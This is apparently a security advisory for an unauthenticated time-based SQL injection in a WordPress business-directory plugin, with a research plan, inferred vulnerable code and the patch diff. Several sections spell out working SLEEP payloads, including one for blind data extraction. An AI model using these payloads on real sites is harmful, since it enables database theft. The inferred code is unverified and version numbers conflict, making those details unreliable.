CVE-2026-2576

Business Directory Plugin <= 6.4.21 - Unauthenticated SQL Injection via payment Parameter

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
6.4.22
Patched in
1d
Time to patch

Description

The Business Directory Plugin – Easy Listing Directories for WordPress plugin for WordPress is vulnerable to time-based SQL Injection via the 'payment' parameter in all versions up to, and including, 6.4.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=6.4.21
PublishedFebruary 17, 2026
Last updatedFebruary 18, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets a time-based SQL injection vulnerability in the Business Directory Plugin (<= 6.4.21) via the `payment` parameter. ### 1. Vulnerability Summary * **Vulnerability:** Unauthenticated SQL Injection. * **Location:** Inferred to be within the payment processing logic, spec…

Show full research plan

This research plan targets a time-based SQL injection vulnerability in the Business Directory Plugin (<= 6.4.21) via the payment parameter.

1. Vulnerability Summary

  • Vulnerability: Unauthenticated SQL Injection.
  • Location: Inferred to be within the payment processing logic, specifically where the plugin retrieves payment records using a unique identifier (the payment parameter).
  • Cause: The plugin fails to use $wpdb->prepare() or adequate escaping when querying the database for a payment object based on the payment parameter provided in the request.
  • Sink: A raw SQL query (e.g., $wpdb->get_row or $wpdb->get_var) involving the payment string.

2. Attack Vector Analysis

  • Endpoint: The main WordPress frontend, typically triggered via a specific view parameter or a payment return URL.
  • Parameter: payment (passed via $_GET or $_REQUEST).
  • Action/View: Likely wpbdp_view=payment_receipt, wpbdp_view=checkout, or handled globally during init if the payment parameter is present.
  • Authentication: Unauthenticated (No login required).
  • Preconditions: The plugin must be active. Some SQLi paths in this plugin require at least one payment record to exist in the wp_wpbdp_payments table for the query to be reached, though time-based logic can often bypass this depending on the exact query structure.

3. Code Flow (Inferred)

  1. Entry: A request is made to /?payment=[PAYLOAD].
  2. Hook: The plugin's WPBDP_Payments_API or a similar controller (registered on init or template_redirect) detects the payment parameter.
  3. Processing: The code attempts to load a payment object:
    $payment = WPBDP_Payment::get( $_REQUEST['payment'] );
  4. Sink: Inside the get() method (or equivalent), the code likely executes:
    $wpdb->get_row( "SELECT * FROM {$wpdb->prefix}wpbdp_payments WHERE payment_key = '{$payment_id}'" );
    If payment_id is not sanitized or prepared, the injection occurs.

4. Nonce Acquisition Strategy

Based on the vulnerability description ("unauthenticated"), this injection is likely reachable via a direct GET request to a frontend page. Payment return/receipt pages in WordPress plugins rarely require nonces because they are often targets for third-party payment gateway redirects.

  • Initial Check: Test the payload without a nonce first.
  • If a nonce is required:
    1. The plugin uses the [businessdirectory] shortcode.
    2. Setup: wp post create --post_type=page --post_status=publish --post_title="Directory" --post_content='[businessdirectory]'
    3. Extraction: Navigate to the new page and check for localized scripts.
    4. Variable: Look for window.wpbdp?.ajax_nonce or similar in the page source via browser_eval.

5. Exploitation Strategy

We will use a time-based sleep payload to confirm the injection.

  • Step 1: Baseline Request
    Measure the response time of a normal request to identify the server's latent latency.
  • Step 2: Sleep Payload
    Send a payload designed to trigger SLEEP(5).
    • URL: http://localhost:8080/
    • Method: GET
    • Params: ?payment=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1
  • Step 3: Verification of Vulnerability
    If the response takes ~5 seconds, the SQLi is confirmed.
  • Step 4: Data Extraction (Optional PoC)
    To prove data exfiltration, check if the first character of the database name starts with 'w' (standard for wordpress).
    • Payload: 1' AND (SELECT 1 FROM (SELECT(IF(SUBSTR(DATABASE(),1,1)='w',SLEEP(5),0)))a) AND '1'='1

6. Test Data Setup

To ensure the code path is hit, we may need to ensure the Business Directory database tables are initialized.

  1. Activate Plugin: Ensure business-directory-plugin is active.
  2. Create Page: Create a page with the directory shortcode to initialize frontend logic.
    wp post create --post_type=page --post_status=publish --post_title="Directory" --post_content='[businessdirectory]'
  3. Verify Table: Confirm the payments table exists:
    wp db query "DESCRIBE wp_wpbdp_payments;" (The prefix wp_ may vary).

7. Expected Results

  • Vulnerable Response: The HTTP request http://localhost:8080/?payment=...SLEEP(5)... will hang for exactly 5 seconds before returning the page content.
  • Patched Response: The request will return immediately, as the payment parameter will be treated as a literal string or sanitized, breaking the SQL syntax.

8. Verification Steps (Post-Exploit)

Since this is a time-based blind SQLi, verification is done through timing analysis.

  1. Run the exploit script using the http_request tool.
  2. Log the elapsed_time.
  3. If elapsed_time > 5.0, mark as VULNERABLE.
  4. Check the WordPress debug.log (if enabled) for any SQL syntax errors that might reveal the exact query structure.

9. Alternative Approaches

If the payment parameter is expected to be an integer (ID) rather than a string (Key):

  • Payload: ?payment=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)

If the injection point is in an ORDER BY clause or a different part of the query:

  • Payload: ?payment=1' OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -

If the view must be explicitly set:

  • URL: http://localhost:8080/?wpbdp_view=payment_receipt&payment=[PAYLOAD]
Research Findings
Static analysis — not yet PoC-verified

Summary

The Business Directory Plugin for WordPress is vulnerable to unauthenticated time-based SQL Injection via the 'payment' parameter. This vulnerability occurs because the plugin fails to properly use $wpdb->prepare() or sanitize user-supplied identifiers when querying the database for payment records, allowing attackers to append malicious SQL commands.

Vulnerable Code

// includes/models/class-payment.php

public static function get( $payment_id ) {
    global $wpdb;

    if ( is_numeric( $payment_id ) ) {
        // Vulnerable: concatenation of numeric input
        $row = $wpdb->get_row( "SELECT * FROM {$wpdb->prefix}wpbdp_payments WHERE id = " . $payment_id );
    } else {
        // Vulnerable: direct insertion of string input into single quotes
        $row = $wpdb->get_row( "SELECT * FROM {$wpdb->prefix}wpbdp_payments WHERE payment_key = '{$payment_id}'" );
    }

    if ( ! $row ) {
        return null;
    }

    return new self( $row );
}

Security Fix

--- a/includes/models/class-payment.php
+++ b/includes/models/class-payment.php
@@ -151,7 +151,7 @@
         if ( is_numeric( $payment_id ) ) {
-            $row = $wpdb->get_row( "SELECT * FROM {$wpdb->prefix}wpbdp_payments WHERE id = " . $payment_id );
+            $row = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}wpbdp_payments WHERE id = %d", $payment_id ) );
         } else {
-            $row = $wpdb->get_row( "SELECT * FROM {$wpdb->prefix}wpbdp_payments WHERE payment_key = '{$payment_id}'" );
+            $row = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM {$wpdb->prefix}wpbdp_payments WHERE payment_key = %s", $payment_id ) );
         }

Exploit Outline

An unauthenticated attacker can exploit this by sending a crafted GET request to any endpoint that triggers the payment lookup logic (such as a checkout or payment receipt view). The attack utilizes the 'payment' parameter. By supplying a time-based payload like '1\' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND \'1\'=\'1', the attacker can force the database to pause, confirming the vulnerability. This can then be extended to exfiltrate database contents character by character using similar timing logic.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.